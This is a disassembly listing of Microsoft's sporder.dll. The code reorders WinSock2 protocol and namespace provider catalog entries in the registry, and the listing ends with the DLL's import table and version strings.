		lea	eax, [ebp+390h]
		push	eax
		call	esi
		lea	eax, [ebp+7Ch]
		push	eax
		push	9
		push	0
		lea	eax, [ebp+390h]
		push	eax
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	loc_404AB7
		and	[ebp+78h], eax
		mov	dword ptr [ebp+6Ch], 47A72140h
		mov	dword ptr [ebp+74h], 47BD1A40h


loc_404883:				; CODE XREF: _0:0040497Bj
		lea	eax, [ebp+54h]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+5Ch]
		push	eax
		lea	eax, [ebp+188h]
		push	eax
		push	dword ptr [ebp+78h]
		mov	dword ptr [ebp+5Ch], 104h
		push	dword ptr [ebp+7Ch]
		mov	byte ptr [ebp+188h], 0
		call	dword ptr ds:47A71008h
		cmp	eax, 103h
		jz	loc_404986
		test	eax, eax
		jnz	loc_404AB7
		lea	eax, [ebp+390h]
		push	eax
		lea	eax, [ebp+28Ch]
		push	eax
		call	ebx
		push	edi
		lea	eax, [ebp+28Ch]
		push	eax
		call	esi
		lea	eax, [ebp+188h]
		push	eax
		lea	eax, [ebp+28Ch]
		push	eax
		call	esi
		lea	eax, [ebp+28Ch]
		push	eax
		push	dword ptr [ebp+74h]
		call	ebx
		lea	eax, [ebp+64h]
		push	eax
		push	9
		push	0
		lea	eax, [ebp+28Ch]
		push	eax
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	loc_404AB7
		lea	eax, [ebp+70h]
		push	eax
		push	dword ptr [ebp+6Ch]
		lea	eax, [ebp+60h]
		push	eax
		push	0
		push	47A7108Ch
		push	dword ptr [ebp+64h]
		mov	dword ptr [ebp+70h], 378h
		mov	dword ptr [ebp+60h], 3
		call	dword ptr ds:47A71000h
		test	eax, eax
		mov	ecx, [ebp+70h]
		mov	edx, [ebp+78h]
		mov	ds:47C111E0h[edx*4], ecx
		jnz	loc_404AB7
		push	dword ptr [ebp+64h]
		call	dword ptr ds:47A71004h
		add	dword ptr [ebp+74h], 104h
		inc	dword ptr [ebp+78h]
		add	dword ptr [ebp+6Ch], 378h
		cmp	dword ptr [ebp+74h], 47C111E0h
		jl	loc_404883
		jmp	loc_4047F6
; ---------------------------------------------------------------------------


loc_404986:				; CODE XREF: _0:004048B6j
		push	dword ptr [ebp+7Ch]
		call	dword ptr ds:47A71004h
		mov	ebx, [ebp+4A4h]
		cmp	[ebp+78h], ebx
		jnz	loc_4047F6
		mov	edx, ebx
		shl	edx, 2
		mov	ecx, edx
		mov	esi, ecx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [ebp-0F4Ch]
		rep stosd
		mov	ecx, esi
		and	ecx, 3
		rep stosb
		mov	ecx, edx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [ebp-1EECh]
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		xor	esi, esi
		test	ebx, ebx
		rep stosb
		jbe	short loc_404A23
		mov	edi, [ebp+4A0h]
		lea	eax, [ebp-0F4Ch]
		sub	edi, eax
		mov	dword ptr [ebp+4A4h], 47A72268h


loc_4049EF:				; CODE XREF: _0:00404A21j
		mov	eax, [ebp+4A4h]
		mov	ecx, [eax]
		xor	edx, edx


loc_4049F9:				; CODE XREF: _0:00404A12j
		lea	eax, [ebp+edx*4-0F4Ch]
		cmp	ecx, [edi+eax]
		jnz	short loc_404A0F
		or	dword ptr [eax], 0FFFFFFFFh
		mov	[ebp+edx*4-1EECh], esi


loc_404A0F:				; CODE XREF: _0:00404A03j
		inc	edx
		cmp	edx, ebx
		jb	short loc_4049F9
		add	dword ptr [ebp+4A4h], 378h
		inc	esi
		cmp	esi, ebx
		jb	short loc_4049EF


loc_404A23:				; CODE XREF: _0:004049D5j
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_404A3C


loc_404A29:				; CODE XREF: _0:00404A3Aj
		cmp	dword ptr [ebp+eax*4-0F4Ch], 0FFFFFFFFh
		jnz	loc_4047F6
		inc	eax
		cmp	eax, ebx
		jb	short loc_404A29


loc_404A3C:				; CODE XREF: _0:00404A27j
		xor	edi, edi
		test	ebx, ebx
		jbe	short loc_404ABD
		mov	dword ptr [ebp+4A4h], 47BD1A40h


loc_404A4C:				; CODE XREF: _0:00404AB3j
		mov	esi, [ebp+edi*4-1EECh]
		cmp	esi, edi
		jz	short loc_404AA6
		lea	eax, [ebp+7Ch]
		push	eax
		push	2
		push	0
		push	dword ptr [ebp+4A4h]
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	short loc_404AB7
		push	dword ptr ds:47C111E0h[edi*4]
		imul	esi, 378h
		add	esi, 47A72140h
		push	esi
		push	3
		push	eax
		push	47A7108Ch
		push	dword ptr [ebp+7Ch]
		call	dword ptr ds:47A7100Ch
		test	eax, eax
		jnz	short loc_404AB7
		push	dword ptr [ebp+7Ch]
		call	dword ptr ds:47A71004h


loc_404AA6:				; CODE XREF: _0:00404A55j
		add	dword ptr [ebp+4A4h], 104h
		inc	edi
		cmp	edi, ebx
		jb	short loc_404A4C
		jmp	short loc_404ABD
; ---------------------------------------------------------------------------


loc_404AB7:				; CODE XREF: _0:0040486Cj _0:004048BEj ...
		mov	[ebp+80h], eax


loc_404ABD:				; CODE XREF: _0:004047DBj _0:00404800j ...
		pop	edi


loc_404ABE:				; CODE XREF: _0:0040479Bj
		push	dword ptr [ebp+68h]
		call	dword ptr ds:47A71054h
		pop	esi


loc_404AC8:				; CODE XREF: _0:00404773j
		push	dword ptr [ebp+68h]
		call	dword ptr ds:47A71058h
		mov	eax, [ebp+80h]


loc_404AD7:				; CODE XREF: _0:0040471Bj _0:00404735j ...
		mov	ecx, [ebp+494h]
		pop	ebx
		call	sub_4051B0
		add	ebp, 498h
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404AED	proc near		; CODE XREF: _0:00404F2Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ds:47A71000h
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [edi+10h]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A720B8h
		push	[ebp+arg_0]
		mov	[ebp+var_4], 104h
		call	esi
		test	eax, eax
		jnz	loc_404BFA
		push	ebx
		push	4
		pop	ebx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [edi+114h]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A720C8h
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	esi
		test	eax, eax
		jnz	loc_404BF9
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [edi+118h]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A720D0h
		push	[ebp+arg_0]
		mov	[ebp+var_4], 104h
		call	esi
		test	eax, eax
		jnz	loc_404BF9
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A720DCh
		push	[ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	esi
		test	eax, eax
		jnz	short loc_404BF9
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [edi+21Ch]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A720E8h
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	esi
		test	eax, eax
		jnz	short loc_404BF9
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [edi+220h]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A72100h
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	esi
		test	eax, eax
		jnz	short loc_404BF9
		lea	eax, [ebp+var_4]
		push	eax
		add	edi, 224h
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	47A72114h
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	esi


loc_404BF9:				; CODE XREF: sub_404AED+5Aj
					; sub_404AED+84j ...
		pop	ebx


loc_404BFA:				; CODE XREF: sub_404AED+30j
		pop	edi
		pop	esi
		leave
		retn	8
sub_404AED	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C00	proc near		; CODE XREF: _0:004050D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		lea	esi, [edi+10h]
		push	esi
		call	dword ptr ds:47A71028h
		mov	ebx, [esp+0Ch+arg_0]
		inc	eax
		push	eax
		push	esi
		mov	esi, ds:47A7100Ch
		push	1
		push	0
		push	47A720B8h
		push	ebx
		call	esi
		test	eax, eax
		jnz	loc_404CC2
		push	4
		lea	eax, [edi+114h]
		push	eax
		push	4
		push	0
		push	47A720C8h
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_404CC2
		push	ebp
		lea	ebp, [edi+118h]
		push	ebp
		call	dword ptr ds:47A71028h
		inc	eax
		push	eax
		push	ebp
		push	1
		push	0
		push	47A720D0h
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_404CC1
		push	10h
		push	edi
		push	3
		push	eax
		push	47A720DCh
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_404CC1
		push	4
		pop	ebp
		push	ebp
		lea	eax, [edi+21Ch]
		push	eax
		push	ebp
		push	0
		push	47A720E8h
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_404CC1
		push	ebp
		lea	eax, [edi+220h]
		push	eax
		push	ebp
		push	0
		push	47A72100h
		push	ebx
		call	esi
		test	eax, eax
		jnz	short loc_404CC1
		push	ebp
		add	edi, 224h
		push	edi
		push	ebp
		push	eax
		push	47A72114h
		push	ebx
		call	esi


loc_404CC1:				; CODE XREF: sub_404C00+6Aj
					; sub_404C00+7Cj ...
		pop	ebp


loc_404CC2:				; CODE XREF: sub_404C00+2Cj
					; sub_404C00+49j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404C00	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	eax, 2384h
		lea	ebp, [esp-498h]
		call	sub_405258
		mov	eax, ds:47A72134h
		push	edi
		push	47A710BCh
		mov	[ebp+494h], eax
		call	dword ptr ds:47A71024h
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_404D1A
		push	47A710C8h
		push	eax
		call	dword ptr ds:47A71020h
		cmp	eax, edi
		jz	short loc_404D1A
		push	dword ptr [ebp+4A4h]
		push	dword ptr [ebp+4A0h]
		call	eax	; _acmdln
		jmp	loc_405114
; ---------------------------------------------------------------------------


loc_404D1A:				; CODE XREF: _0:00404CF5j _0:00404D05j
		cmp	dword ptr [ebp+4A4h], 3E8h
		mov	[ebp+80h], edi
		jbe	short loc_404D34
		push	8
		pop	eax
		jmp	loc_405114
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: _0:00404D2Aj
		push	47A72128h
		push	edi
		push	edi
		call	dword ptr ds:47A7101Ch
		cmp	eax, edi
		mov	[ebp+70h], eax
		jnz	short loc_404D52
		mov	eax, 277Bh
		jmp	loc_405114
; ---------------------------------------------------------------------------


loc_404D52:				; CODE XREF: _0:00404D46j
		push	edi
		push	dword ptr [ebp+70h]
		call	dword ptr ds:47A71018h
		cmp	eax, 102h
		jnz	short loc_404D72
		mov	dword ptr [ebp+80h], 0AAh
		jmp	loc_405105
; ---------------------------------------------------------------------------


loc_404D72:				; CODE XREF: _0:00404D61j
		push	esi
		lea	eax, [ebp+7Ch]
		push	eax
		push	1
		push	edi
		mov	esi, 47A72010h
		push	esi
		push	80000002h
		call	dword ptr ds:47A71010h
		cmp	eax, edi
		jz	short loc_404D9A
		mov	[ebp+80h], eax
		jmp	loc_4050FB
; ---------------------------------------------------------------------------


loc_404D9A:				; CODE XREF: _0:00404D8Dj
		push	ebx
		lea	eax, [ebp+64h]
		push	eax
		lea	eax, [ebp+84h]
		push	eax
		lea	eax, [ebp+5Ch]
		push	eax
		push	edi
		push	47A7208Ch
		push	dword ptr [ebp+7Ch]
		mov	dword ptr [ebp+64h], 104h
		call	dword ptr ds:47A71000h
		push	dword ptr [ebp+7Ch]
		mov	ebx, eax
		call	dword ptr ds:47A71004h
		cmp	ebx, edi
		jz	short loc_404DDA
		mov	[ebp+80h], ebx
		jmp	loc_4050FA
; ---------------------------------------------------------------------------


loc_404DDA:				; CODE XREF: _0:00404DCDj
		lea	eax, [ebp+84h]
		push	eax
		push	47A7205Ch
		call	dword ptr ds:47A71030h
		test	eax, eax
		jz	short loc_404DFF


loc_404DF0:				; CODE XREF: _0:00404F5Ej _0:00404F75j ...
		mov	dword ptr [ebp+80h], 2726h
		jmp	loc_4050FA
; ---------------------------------------------------------------------------


loc_404DFF:				; CODE XREF: _0:00404DEEj
		mov	ebx, ds:47A7104Ch
		push	esi
		lea	eax, [ebp+390h]
		push	eax
		call	ebx
		mov	esi, ds:47A71050h
		mov	edi, 47A710A0h
		push	edi
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	47A7205Ch
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	edi
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	47A720A8h
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		lea	eax, [ebp+7Ch]
		push	eax
		push	9
		push	0
		lea	eax, [ebp+390h]
		push	eax
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	loc_4050F4
		and	[ebp+78h], eax
		mov	dword ptr [ebp+6Ch], 47B4AE00h
		mov	dword ptr [ebp+74h], 47BD1A40h


loc_404E7D:				; CODE XREF: _0:00404F58j
		lea	eax, [ebp+54h]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+60h]
		push	eax
		lea	eax, [ebp+188h]
		push	eax
		push	dword ptr [ebp+78h]
		mov	dword ptr [ebp+60h], 104h
		push	dword ptr [ebp+7Ch]
		mov	byte ptr [ebp+188h], 0
		call	dword ptr ds:47A71008h
		cmp	eax, 103h
		jz	loc_404F63
		test	eax, eax
		jnz	loc_4050F4
		lea	eax, [ebp+390h]
		push	eax
		lea	eax, [ebp+28Ch]
		push	eax
		call	ebx
		push	edi
		lea	eax, [ebp+28Ch]
		push	eax
		call	esi
		lea	eax, [ebp+188h]
		push	eax
		lea	eax, [ebp+28Ch]
		push	eax
		call	esi
		lea	eax, [ebp+28Ch]
		push	eax
		push	dword ptr [ebp+74h]
		call	ebx
		lea	eax, [ebp+68h]
		push	eax
		push	9
		push	0
		lea	eax, [ebp+28Ch]
		push	eax
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	loc_4050F4
		push	dword ptr [ebp+6Ch]
		mov	dword ptr [ebp+64h], 378h
		push	dword ptr [ebp+68h]
		mov	dword ptr [ebp+5Ch], 3
		call	sub_404AED
		test	eax, eax
		jnz	loc_4050F4
		push	dword ptr [ebp+68h]
		call	dword ptr ds:47A71004h
		add	dword ptr [ebp+74h], 104h
		inc	dword ptr [ebp+78h]
		add	dword ptr [ebp+6Ch], 228h
		cmp	dword ptr [ebp+74h], 47C111E0h
		jl	loc_404E7D
		jmp	loc_404DF0
; ---------------------------------------------------------------------------


loc_404F63:				; CODE XREF: _0:00404EB0j
		push	dword ptr [ebp+7Ch]
		call	dword ptr ds:47A71004h
		mov	esi, [ebp+4A4h]
		cmp	[ebp+78h], esi
		jnz	loc_404DF0
		mov	edx, esi
		shl	edx, 2
		mov	ecx, edx
		mov	ebx, ecx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [ebp-0F4Ch]
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		mov	ecx, edx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [ebp-1EECh]
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		xor	ebx, ebx
		test	esi, esi
		rep stosb
		jbe	loc_40507A
		mov	eax, [ebp+4A0h]
		add	eax, 6
		mov	[ebp+4A0h], eax
		xor	eax, eax


loc_404FC9:				; CODE XREF: _0:00405074j
		mov	ecx, [ebp+4A0h]
		xor	edi, edi


loc_404FD1:				; CODE XREF: _0:00405066j
		mov	edx, [eax+47B4AE00h]
		cmp	edx, [ecx-6]
		jnz	loc_405060
		mov	dx, [eax+47B4AE04h]
		cmp	dx, [ecx-2]
		jnz	short loc_405060
		mov	dx, [eax+47B4AE06h]
		cmp	dx, [ecx]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE08h]
		cmp	dl, [ecx+2]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE09h]
		cmp	dl, [ecx+3]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Ah]
		cmp	dl, [ecx+4]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Bh]
		cmp	dl, [ecx+5]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Ch]
		cmp	dl, [ecx+6]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Dh]
		cmp	dl, [ecx+7]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Eh]
		cmp	dl, [ecx+8]
		jnz	short loc_405060
		mov	dl, [eax+47B4AE0Fh]
		cmp	dl, [ecx+9]
		jnz	short loc_405060
		or	dword ptr [ebp+edi*4-0F4Ch], 0FFFFFFFFh
		mov	[ebp+edi*4-1EECh], ebx


loc_405060:				; CODE XREF: _0:00404FDAj _0:00404FEBj ...
		inc	edi
		add	ecx, 10h
		cmp	edi, esi
		jb	loc_404FD1
		inc	ebx
		add	eax, 228h
		cmp	ebx, esi
		jb	loc_404FC9


loc_40507A:				; CODE XREF: _0:00404FB2j
		xor	eax, eax
		test	esi, esi
		jbe	short loc_405093


loc_405080:				; CODE XREF: _0:00405091j
		cmp	dword ptr [ebp+eax*4-0F4Ch], 0FFFFFFFFh
		jnz	loc_404DF0
		inc	eax
		cmp	eax, esi
		jb	short loc_405080


loc_405093:				; CODE XREF: _0:0040507Ej
		xor	edi, edi
		test	esi, esi
		jbe	short loc_4050FA
		mov	ebx, 47BD1A40h


loc_40509E:				; CODE XREF: _0:004050F0j
		mov	esi, [ebp+edi*4-1EECh]
		cmp	esi, edi
		jz	short loc_4050E3
		lea	eax, [ebp+7Ch]
		push	eax
		push	2
		push	0
		push	ebx
		push	80000002h
		call	dword ptr ds:47A71010h
		test	eax, eax
		jnz	short loc_4050F4
		imul	esi, 228h
		add	esi, 47B4AE00h
		push	esi
		push	dword ptr [ebp+7Ch]
		call	sub_404C00
		test	eax, eax
		jnz	short loc_4050F4
		push	dword ptr [ebp+7Ch]
		call	dword ptr ds:47A71004h


loc_4050E3:				; CODE XREF: _0:004050A7j
		inc	edi
		add	ebx, 104h
		cmp	edi, [ebp+4A4h]
		jb	short loc_40509E
		jmp	short loc_4050FA
; ---------------------------------------------------------------------------


loc_4050F4:				; CODE XREF: _0:00404E66j _0:00404EB8j ...
		mov	[ebp+80h], eax


loc_4050FA:				; CODE XREF: _0:00404DD5j _0:00404DFAj ...
		pop	ebx


loc_4050FB:				; CODE XREF: _0:00404D95j
		push	dword ptr [ebp+70h]
		call	dword ptr ds:47A71054h
		pop	esi


loc_405105:				; CODE XREF: _0:00404D6Dj
		push	dword ptr [ebp+70h]
		call	dword ptr ds:47A71058h
		mov	eax, [ebp+80h]


loc_405114:				; CODE XREF: _0:00404D15j _0:00404D2Fj ...
		mov	ecx, [ebp+494h]
		pop	edi
		call	sub_4051B0
		add	ebp, 498h
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, ds:47A72134h
		test	eax, eax
		jz	short loc_405140
		cmp	eax, 0BB40E64Eh
		jnz	short locret_4051AE


loc_405140:				; CODE XREF: _0:00405137j
		push	esi
		lea	eax, [ebp-8]
		push	eax
		call	dword ptr ds:47A7103Ch
		mov	esi, [ebp-4]
		xor	esi, [ebp-8]
		call	dword ptr ds:47A71038h
		xor	esi, eax
		call	dword ptr ds:47A71034h
		xor	esi, eax
		call	dword ptr ds:47A7105Ch
		xor	esi, eax
		lea	eax, [ebp-10h]
		push	eax
		call	dword ptr ds:47A7102Ch
		mov	eax, [ebp-0Ch]
		xor	eax, [ebp-10h]
		xor	esi, eax
		mov	ds:47A72134h, esi
		jnz	short loc_40518D
		mov	dword ptr ds:47A72134h,	0BB40E64Eh


loc_40518D:				; CODE XREF: _0:00405181j
		push	47A710FCh
		call	dword ptr ds:47A71024h
		test	eax, eax
		pop	esi
		jz	short locret_4051AE
		push	47A710E0h
		push	eax
		call	dword ptr ds:47A71020h
		mov	ds:47C12184h, eax

locret_4051AE:				; CODE XREF: _0:0040513Ej _0:0040519Bj
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4051B0	proc near		; CODE XREF: _0:00404ADEp _0:0040511Bp ...

var_2AC		= byte ptr -2ACh

		cmp	ecx, ds:47A72134h
		jnz	short loc_4051B9
		retn
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: sub_4051B0+6j
		jmp	$+5
		push	ebp
		lea	ebp, [esp+4+var_2AC]
		sub	esp, 328h
		mov	eax, ds:47A72134h
		mov	[ebp+2A4h], eax
		mov	eax, ds:47C12180h
		test	eax, eax
		jz	short loc_4051E2
		call	eax	; _acmdln


loc_4051E2:				; CODE XREF: sub_4051B0+2Ej
		cmp	dword ptr ds:47C12184h,	0
		jz	short loc_405229
		push	edi
		xor	eax, eax
		and	[ebp-28h], eax
		push	13h
		pop	ecx
		lea	edi, [ebp-7Ch]
		rep stosd
		mov	ecx, 0B2h
		lea	edi, [ebp-24h]
		rep stosd
		lea	eax, [ebp-80h]
		mov	[ebp-30h], eax
		lea	eax, [ebp-28h]
		push	0
		mov	dword ptr [ebp-80h], 0C0000409h
		mov	[ebp-2Ch], eax
		call	dword ptr ds:47A71048h
		lea	eax, [ebp-30h]
		push	eax
		call	dword ptr ds:47C12184h
		pop	edi


loc_405229:				; CODE XREF: sub_4051B0+39j
		push	502h
		call	dword ptr ds:47A71044h
		push	eax
		call	dword ptr ds:47A71040h
		mov	ecx, [ebp+2A4h]
		call	sub_4051B0
		add	ebp, 2A8h
		leave
		retn
sub_4051B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_405258	proc near		; CODE XREF: _0:004046DBp _0:00404CD5p

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_40526D
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_40526D:				; CODE XREF: sub_405258+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_405272:				; CODE XREF: sub_405258+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_405272
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_405258	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 1D54h, 2 dup(0)
		dd 1EF0h, 1018h, 1D3Ch,	2 dup(0)
		dd 1F52h, 1000h, 5 dup(0)
		dd 1F2Eh, 1F20h, 1F10h,	1EFEh, 1F42h, 0
		dd 1DE2h, 1DF8h, 1E08h,	1E1Ah, 1E2Eh, 1E3Ah, 1DD6h, 1E64h
		dd 1E7Ah, 1E90h, 1EAAh,	1EBEh, 1ED2h, 1DCAh, 1DBEh, 1DAEh
		dd 1DA0h, 1E54h, 0
		dd 6C43002Eh, 4865736Fh, 6C646E61h, 2B80065h, 656C6552h
		dd 4D657361h, 78657475h, 3B00000h, 7274736Ch, 41746163h
		dd 3B90000h, 7274736Ch,	41797063h, 3B30000h, 7274736Ch
		dd 41706D63h, 3850000h,	74696157h, 53726F46h, 6C676E69h
		dd 6A624F65h, 746365h, 7243005Ah, 65746165h, 6574754Dh
		dd 4178h, 65470198h, 6F725074h,	64644163h, 73736572h, 1770000h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 3BF0000h
		dd 7274736Ch, 416E656Ch, 2990000h, 72657551h, 72655079h
		dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 654701D5h
		dd 63695474h, 756F436Bh, 746Eh,	6547013Eh, 72754374h, 746E6572h
		dd 65726854h, 64496461h, 13B0000h, 43746547h, 65727275h
		dd 7250746Eh, 7365636Fh, 644973h, 654701C0h, 73795374h
		dd 546D6574h, 41656D69h, 6C694673h, 6D695465h, 3510065h
		dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 13A0000h
		dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 33D0073h
		dd 55746553h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h
		dd 6C69466Eh, 726574h, 4E52454Bh, 32334C45h, 6C6C642Eh
		dd 1F90000h, 53676552h,	61567465h, 4565756Ch, 4178h, 655201D6h
		dd 756E4567h, 79654B6Dh, 417845h, 655201C9h, 6F6C4367h
		dd 654B6573h, 1EC0079h,	51676552h, 79726575h, 756C6156h
		dd 41784565h, 1E20000h,	4F676552h, 4B6E6570h, 78457965h
		dd 44410041h, 49504156h, 642E3233h, 6C6Ch, 52455355h, 642E3233h
		dd 6C6Ch, 2 dup(0)
		dd 3E7FF277h, 0
		dd 1FACh, 1, 2 dup(2), 1F98h, 1FA0h, 1FA8h, 1730h, 1136h
		dd 1FB8h, 1FCFh, 10000h, 524F5053h, 2E524544h, 6C6C64h
		dd 57435357h, 65746972h, 656D614Eh, 63617053h, 64724F65h
		dd 57007265h, 72574353h, 50657469h, 69766F72h, 4F726564h
		dd 72656472h, 7	dup(0)
		dd 47A71B92h, 3	dup(0)
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\WinSock2\Parameters',0
		align 10h
aProtocol_catal	db 'Protocol_Catalog9',0
		align 4
aNamespace_cata	db 'NameSpace_Catalog5',0
		align 4
aCurrent_protoc	db 'Current_Protocol_Catalog',0
		align 4
aCurrent_namesp	db 'Current_NameSpace_Catalog',0
		align 10h
aCatalog_entrie	db 'Catalog_Entries',0
aDisplaystring	db 'DisplayString',0
		align 10h
aEnabled	db 'Enabled',0
aLibrarypath	db 'LibraryPath',0
aProviderid	db 'ProviderId',0
		align 10h
aStoresservicec	db 'StoresServiceClassInfo',0
		align 4
aSupportednames	db 'SupportedNameSpace',0
		align 4
aVersion	db 'Version',0
aSporder_dll_0	db 'sporder.dll',0
aSporder_dll_1	db 'sporder.dll',0
aNc@		db 'Næ@»',0
		align 4
		dd 34h dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 1A3060h, 3A0h, 4 dup(0)
		dd 3403A0h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50002h, 0ECE0000h, 50002h, 0ECE0000h
		dd 3Fh,	0
		dd 40004h, 2, 3	dup(0)
		dd 2FEh, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2DAh, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aN:
		unicode	0, <n#>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aWinsock2Reorde:
		unicode	0, <WinSock2 reorder service providers>,0
		align 4
aF:
		unicode	0, <f#>
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_2_3790_0Srv0:
		unicode	0, <5.2.3790.0 (srv03_rtm.030324-2048)>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	700073h, 72006Fh, 650064h, 2E0072h, 6C0064h, 6Ch
		dd 2E0080h, 4C0001h, 670065h, 6C0061h, 6F0043h,	790070h
		dd 690072h, 680067h, 74h, 2000A9h, 69004Dh, 720063h, 73006Fh
		dd 66006Fh, 200074h, 6F0043h, 700072h, 72006Fh,	740061h
		dd 6F0069h, 2E006Eh, 410020h, 6C006Ch, 720020h,	670069h
		dd 740068h, 200073h, 650072h, 650073h, 760072h,	640065h
		dd 2Eh,	0C0040h, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 700073h, 72006Fh, 650064h
		dd 2E0072h, 6C0064h, 6Ch, 25006Ah, 500001h, 6F0072h, 750064h
		dd 740063h, 61004Eh, 65006Dh, 0
aMicrosoftoWind:
		unicode	0, <Microsoft® Windows®	Operating System>,0
		align 4
		unicode	0, <:>
		dw 0Bh
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 2E0032h, 370033h, 300039h, 30002Eh
		dd 0
		dd 44h,	560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 1000h, 104h, 314F3149h, 3166315Bh,	31A3316Dh
		dd 31C631ABh, 31F531E9h, 322A321Ah, 32503235h, 326F3256h
		dd 3284327Fh, 32AB3293h, 32E032CEh, 331532E7h, 33923378h
